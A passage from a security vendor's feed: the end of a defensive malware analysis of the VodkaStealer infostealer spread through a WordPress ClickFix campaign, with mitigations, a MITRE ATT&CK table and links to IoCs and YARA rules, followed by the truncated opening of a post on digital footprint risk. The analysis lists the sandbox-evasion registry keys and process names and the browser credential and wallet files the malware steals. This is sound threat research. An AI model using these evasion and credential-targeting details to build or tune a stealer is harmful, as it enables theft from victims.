data-type='inlineCode'>HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HKLM\SYSTEM\CurrentControlSet\Services\vmci</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HKLM\SYSTEM\CurrentControlSet\Services\vmmouse</span></span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Lastly, a process snapshot is taken and scanned for the following blacklisted process names: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>vmtoolsd.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>vmwareuser.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>vmwaretray.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>vmware-vmx.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>vboxservice.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>vboxtray.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>vboxdisp.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>vboxguest.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>vgauthservice.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>vmwareauthd.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>sbiesvc.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>sbiecnt.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>sandboxiedcomlaunch.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>qemu-ga.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>xenservice.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>vmsrvc.exe</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>vmusrvc.exe</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Following a successful anti-debug scan, the malware queries up to 8 different browser data locations in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>%AppData%</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>%LocalAppData%</span></span><span style='font-size: undefined;'>, targeting Google Chrome, Microsoft Edge, Brave, Opera, Opera GX, Vivaldi, Yandex, and Chromium browsers, and kills all processes matching any of these browsers’ executable names.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Then, various pieces of system information are collected and a directory is created according to this format:</span></p><pre language="cpp">wsprintfA(PathName,
"%s\\sysinfo_%s_%s_%02d%02d%04d%02d%02d",
        temp_dir_path,
        ipinfo_country_code,
        ipinfo_query,
        SystemTime.wDay,
        SystemTime.wMonth,
        SystemTime.wYear,
        SystemTime.wHour,
        SystemTime.wMinute);
CreateDirectoryA(PathName, 0);</pre><p><span style='font-size: undefined;'>The stealer then performs the main data collection:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>A list of installed software packages, obtained from standard </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Uninstall</span></span><span style='font-size: undefined;'> registry keys, is written into a file </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>InstalledSoftware.txt</span></span><span style='font-size: undefined;'> in the staging directory,</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Files from wallet- and extension-specific directories in all browser data directories are collected (using a hardcoded list of targeted wallet and extension IDs),</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>A screenshot is taken and saved, using the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GetDC</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BitBlt</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GdipSaveImageToFile</span></span><span style='font-size: undefined;'> APIs from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>gdiplus.dll</span></span><span style='font-size: undefined;'>,</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>If any encryption-enabled browser (e.g. Chrome) is installed:</span></p></li><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>chromelevator.bin</span></span><span style='font-size: undefined;'> is downloaded from the loader C2 as described before and injected into </span><span style='font-size: undefined;'><em>another</em></span><span style='font-size: undefined;'> hijacked native </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>svchost.exe</span></span><span style='font-size: undefined;'> process using the same mechanism seen in the DoubleDonut loader,</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Once the remote thread finishes execution, files from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>%Temp%\chromelevator_output</span></span><span style='font-size: undefined;'> are moved to the staging directory;</span></p></li></ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>If any non-encryption-enabled browser (e.g. Firefox) is installed:</span></p></li><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Its </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>logins.json</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>cookies.sqlite</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>key4.db</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>cert9.db</span></span><span style='font-size: undefined;'> files are staged;</span></p></li></ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>AppData files from the following natively installed applications are collected:</span></p></li><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>FileZilla, OpenVPN Connect, Exodus, Electrum, Jaxx, Guarda, Ledger Live, Ledger Wallet, Trezor, Bitcoin, Coinomi, Litecoin;</span></p></li></ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>System information is collected into a file named </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>systeminfo.txt</span></span><span style='font-size: undefined;'> inside the staging directory.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>One thing both the threat actor and previous analyses missed is that the injection of ChromElevator into the target service host process is currently broken and will silently fail. Because we feel no need to help the actor fix their mistake, we will not describe why this is the case. However, it may be that the threat actor has already noticed the missing functionality around February 22, when the ClickFix injection scripts described before suddenly seem to have been temporarily disabled — the infected websites still load the injector script from either the 3rd-party JavaScript host server or their own </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>admin-ajax.php</span></span><span style='font-size: undefined;'>, but the response is empty.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Because VodkaStealer does not perform any string encryption in its payloads, the C2 IP address can be extracted directly from the unpacked sample. Besides C2 information, we’re unaware of any additional configuration shipped with the stealer, but this may be simply because the malware is still in early stages of development.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>It remains unclear by what means the attackers are compromising the targeted WordPress websites. The most likely scenarios include either a WordPress plugin or theme vulnerability being exploited, previously stolen credentials being misused, or potentially even publicly accessible wp-admin interfaces — which have been observed on most of the compromised websites — being accessed through a brute-force password spraying attack. Keeping these scenarios in mind, we urge WordPress site administrators to:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Regularly review all software components for outdated versions and perform vulnerability scans to identify and mitigate weaknesses,</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Use long and unpredictable passwords for administrative access, possibly using a password manager for audited security and convenience,</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Set up a second authentication factor for administrative access,</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Avoid running untrusted code on devices that store credentials (e.g. saved logins in a browser) usable to administer the website.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>The best defense for individuals browsing the web is to stay cautious, maintain a zero-trust mindset, use reputable security software, and keep themselves up to date with the latest phishing and ClickFix tactics used by malicious actors. An important takeaway from this report should be that </span><span style='font-size: undefined;'><strong>even trusted websites can be compromised</strong></span><span style='font-size: undefined;'> and weaponised against unsuspecting visitors.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>An additional precaution that can be effective on Windows systems is disabling the Run dialog shortcut (Windows Key+R); however, this will not prevent malicious commands from being pasted into a terminal or a Windows Explorer location bar (cf. </span><span style='font-size: undefined;'><em>FileFix</em></span><span style='font-size: undefined;'> attack).</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To help defenders mitigate this threat in their organization, we provide an extensive list of IoCs and a set of detection rules further below.</span></p><h2>Conclusion</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Social engineering remains one of the most effective initial access tactics used by threat actors. The ClickFix campaign described in this blog illustrates just how easily unsuspecting users can be tricked into having their credentials stolen and exfiltrated to an attacker during perfectly ordinary web browsing. Without the victim even noticing that a compromise took place, their credentials can subsequently be misused for impersonation, further access to company resources, financial theft, or even to spread the social engineering lures to an even wider audience.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The large-scale execution of the compromise across completely unrelated WordPress instances suggests a high level of automation by the threat actor and is likely part of an organized long-term criminal effort. Despite this, the technical and operational sophistication of the campaign is limited and we provide a comprehensive technical breakdown of the infection chain, as well as a set of detection rules to defend against this threat in depth.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Want to learn more? </strong></span><a href="https://www.brighttalk.com/webcast/10457/664168?utm_source=Rapid7&amp;utm_medium=brighttalk&amp;utm_campaign=664168?utm_source=brighttalk&amp;utm_medium=blog&amp;utm_content=blog-cta&amp;utm_campaign=global-pla-q1-2026-exploiting-trust-at-scale-webinar-prospect-eng"><span style='font-size: undefined;'><strong>Watch the webinar here.</strong></span></a></p><h2 style="direction: ltr;">Indicators of Compromise (IOCs)</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The complete list of IOCs for this campaign is found in our public GitHub repository: </span><a href="https://github.com/rapid7/Rapid7-Labs/blob/main/IOCs/ClickFix_DoubleDonut_Campaign_IOCs.txt" target="_blank"><span style='font-size: undefined;'>ClickFix_DoubleDonut_Campaign_IOCs.txt</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">YARA Detection Rules</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The detection rules for this campaign are found in our public GitHub repository: </span><a href="https://github.com/rapid7/Rapid7-Labs/blob/main/Yara/ClickFix_DoubleDonut_Campaign.yar" target="_blank"><span style='font-size: undefined;'>ClickFix_DoubleDonut_Campaign.yar</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">MITRE ATT&CK Techniques</h2><p></p><table><colgroup data-width='750'><col style="width:15.670800450958286%"/><col style="width:55.01691093573844%"/><col style="width:29.312288613303267%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'>ID</span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'>Name</span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'>Specifically Relates To</span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1583.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Acquire Infrastructure: Domains</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1584.006</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Compromise Infrastructure: Web Services</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1587.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Develop Capabilities: Malware</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>DoubleDonut Loader, VodkaStealer</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1588.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Obtain Capabilities: Malware</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Vidar Stealer, Donut Loader</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1608.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stage Capabilities: Upload Malware</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1608.004</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stage Capabilities: Drive-by Target</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1189</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Drive-by Compromise</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1059.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command and Scripting Interpreter: PowerShell</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1204.004</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>User Execution: Malicious Copy and Paste</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1622</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Debugger Evasion</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1140</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Deobfuscate/Decode Files or Information</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1027.002</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Obfuscated Files or Information: Software Packing</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Donut Loader</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1027.007</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Obfuscated Files or Information: Dynamic API Resolution</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Donut Loader, Vidar Stealer</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1027.013</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Obfuscated Files or Information: Encrypted/Encoded File</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1055</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Process Injection</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Donut Loader</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1620</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Reflective Code Loading</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Donut Loader</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1497.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Virtualization/Sandbox Evasion: System Checks</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>VodkaStealer</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1497.003</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Virtualization/Sandbox Evasion: Time Based Checks</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>VodkaStealer</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1555</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Credentials from Password Stores</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1555.003</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Credentials from Password Stores: Credentials from Web Browsers</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1539</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Steal Web Session Cookie</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1552</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Unsecured Credentials</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1071.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Application Layer Protocol: Web Protocols</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1132.002</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Data Encoding: Non-Standard Encoding</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Impure Stealer</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1573.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Encrypted Channel: Symmetric Cryptography</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Impure Stealer, VodkaStealer</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1104</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Multi-Stage Channels</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1095</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Non-Application Layer Protocol</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Impure Stealer, VodkaStealer</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1571</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Non-Standard Port</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Impure Stealer, VodkaStealer</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1102.001</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Web Service: Dead Drop Resolver</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Vidar Stealer</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>T1041</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Exfiltration Over C2 Channel</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>-</span></p></td></tr></tbody></table>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-malicious-websites-wordpress-compromise-advances-global-stealer-operation</link>
      <guid isPermaLink="false">blt04cfd26c14e2d4fa</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Labs]]></category><dc:creator><![CDATA[Milan Spinka]]></dc:creator>
      <pubDate>Tue, 10 Mar 2026 13:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf3ae6fb8e07d88e0/67ee88468d0b99031be0ea84/resources-research.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Before the Breach: When digital footprints become a strategic cyber risk]]></title>
      <description><![CDATA[<h2><span style='font-size: undefined;'>Overview</span></h2><p><span style='font-size: undefined;'>For years, organizations have prioritized strengthening technical defenses, including hardening networks, accelerating patch management, and expanding endpoint detection and response capabilities. Defensive systems have become more adaptive, identity has moved to the center of security architectures, and zero-trust has emerged as a foundational design principle. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Despite these advances, successful intrusions continue to occur in environments that appear technically mature. While traditional attack vectors like vulnerability exploitation, misconfigurations, and malware-based intrusions show no sign of decline, modern attacks are increasingly preceded or materially enabled by extensive reconnaissance conducted beyond the victim’s technical perimeter.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations and their employees expose substantial volumes of data online, both intentionally and unintentionally. This includes professional and personal information shared through corporate websites, SaaS platforms, social media, developer repositories, marketing materials, and third-party services, as well as data exposed through breaches, misconfigured cloud assets, and shadow IT.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As seen in the following screenshots, vast amounts of historical information, credential leaks, personally identifiable information (PII) persist in exposed databases, as well as on dark web marketplaces and cybercrime forums.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt935226c625c75a2d/69a04867d5b2d260bc74fe1f/dark-web-marketplace-US-SSNs-sale.png" alt="dark-web-marketplace-US-SSNs-sale.png" caption="Figure 1: A dark web marketplace offering US SSNs for sale." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="dark-web-marketplace-US-SSNs-sale.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt935226c625c75a2d/69a04867d5b2d260bc74fe1f/dark-web-marketplace-US-SSNs-sale.png" data-sys-asset-uid="blt935226c625c75a2d" data-sys-asset-filename="dark-web-marketplace-US-SSNs-sale.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: A dark web marketplace offering US SSNs for sale." data-sys-asset-alt="dark-web-marketplace-US-SSNs-sale.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: A dark web marketplace offering US SSNs for sale.</figcaption></div></figure><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt211adc3b079d8f80/69a04867e8d8db5e94f1c3a9/compromised-database-search-engine-exposes-leaked-credentials.png" alt="compromised-database-search-engine-exposes-leaked-credentials.png" caption="Figure 2: A compromised database search engine exposes leaked credentials." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="compromised-database-search-engine-exposes-leaked-credentials.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt211adc3b079d8f80/69a04867e8d8db5e94f1c3a9/compromised-database-search-engine-exposes-leaked-credentials.png" data-sys-asset-uid="blt211adc3b079d8f80" data-sys-asset-filename="compromised-database-search-engine-exposes-leaked-credentials.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: A compromised database search engine exposes leaked credentials." data-sys-asset-alt="compromised-database-search-engine-exposes-leaked-credentials.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 2: A compromised database search engine exposes leaked credentials.</figcaption></div></figure><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt76972e94eebe876e/69a04867d5b2d205c974fe23/citizenship-databases-exposed-on-cybercriminal-forum.png" height="796" alt="citizenship-databases-exposed-on-cybercriminal-forum.png" caption="Figure 3: Multiple citizenship databases exposed on a cybercriminal forum" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="citizenship-databases-exposed-on-cybercriminal-forum.png" width="1553" style="width: 1553px; height: 796px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt76972e94eebe876e/69a04867d5b2d205c974fe23/citizenship-databases-exposed-on-cybercriminal-forum.png" data-sys-asset-uid="blt76972e94eebe876e" data-sys-asset-filename="citizenship-databases-exposed-on-cybercriminal-forum.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Multiple citizenship databases exposed on a cybercriminal forum" data-sys-asset-alt="citizenship-databases-exposed-on-cybercriminal-forum.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 3: Multiple citizenship databases exposed on a cybercriminal forum</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Threat actors increasingly leverage this layered digital footprint as a core component of their operational planning. While such exposure may not always constitute the initial access vector itself, it significantly influences attacker decision-making, targeting precision, and the likelihood of success. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Breach data and open-source intelligence are utilized to map organizational structures, identify privileged or high-value identities, correlate reused credentials, infer security controls, and tailor phishing or social engineering campaigns with high contextual credibility. In many cases, this intelligence determines which vulnerability, account, or trust relationship is exploited, rather than whether exploitable weaknesses exist. As a result, the boundary between “technical” and “human” attack vectors continues to erode. Infrastructure security remains necessary, but it is no longer sufficient in isolation. The effective attack surface now extends beyond networks and endpoints to encompass identity exposure, employee digital behavior, third-party data ecosystems, and long-lived data traces that persist outside traditional security tooling and governance models. </span></p><h2 style="direction: ltr;">What is digital footprint exposure?</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A digital footprint refers to all the information about an organization and/or an individual that is publicly, semi-publicly, or commercially available online. This information is often scattered across numerous platforms, but aggregating it enables the creation of detailed, actionable profiles of individuals and institutions.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Typical elements of a digital footprint include:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Corporate and personal email addresses</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Passwords and authentication data leaked through breaches</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Public social media profiles and historical activity</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Personally Identifiable Information (e.g., name, SSN, phone number, email address).</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Employment history, job titles, role descriptions, and annual reports</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Online behavior, interests, affiliations, and routines</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Metadata collected and sold by third-party data brokers</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>The acquisition of this data does not require hacking, system intrusion, or the deployment of malware. Instead, attackers collect, correlate, and exploit information that exists beyond the organization’s security perimeter, making it inherently unreachable by conventional security controls such as firewalls, EDR, or internal monitoring systems. Because these digital assets reside outside direct organizational ownership and technical control, they cannot be effectively protected by traditional defensive mechanisms. In this context, threat intelligence monitoring plays a critical role by providing visibility into external data exposure, tracking adversarial collection and misuse of such information, and enabling organizations to detect, assess, and respond to risks that would otherwise remain invisible to perimeter-based security architectures.</span></p><h2 style="direction: ltr;">Digital footprint exposure: A growing security threat</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The modern threat landscape no longer rewards attackers who are simply skilled at exploiting systems; it rewards those who are best at understanding people, relationships, and behavior. Publicly accessible data, semi-private platforms, and commercially available datasets collectively form a digital footprint that can be mapped, enriched, and weaponized well before any technical intrusion attempt. This exposure shifts the initial battleground away from firewalls and endpoints toward employees’ online presence and the organization’s external data shadow.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations that continue to define their perimeter in terms of IP ranges, devices, or cloud assets are defending yesterday’s battlefield. In many cases, the first stage of compromise occurs months before an alert is raised, within public forums, social networks, breached datasets, and data broker platforms, entirely outside traditional security monitoring and response processes. Adversaries use this information to identify key personnel, ascertain internal structures, map trusted relationships, and assess security maturity without ever touching corporate infrastructure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Attackers collect specific external data to identify valid users, authentication systems, and internal dependencies. They extract employee names, roles, and corporate email formats from LinkedIn, conference materials, and public breach datasets. They identify authentication portals, VPN gateways, and cloud services using passive DNS records, Certificate Transparency logs, and internet scanning platforms such as Shodan or Censys. Public GitHub repositories and technical 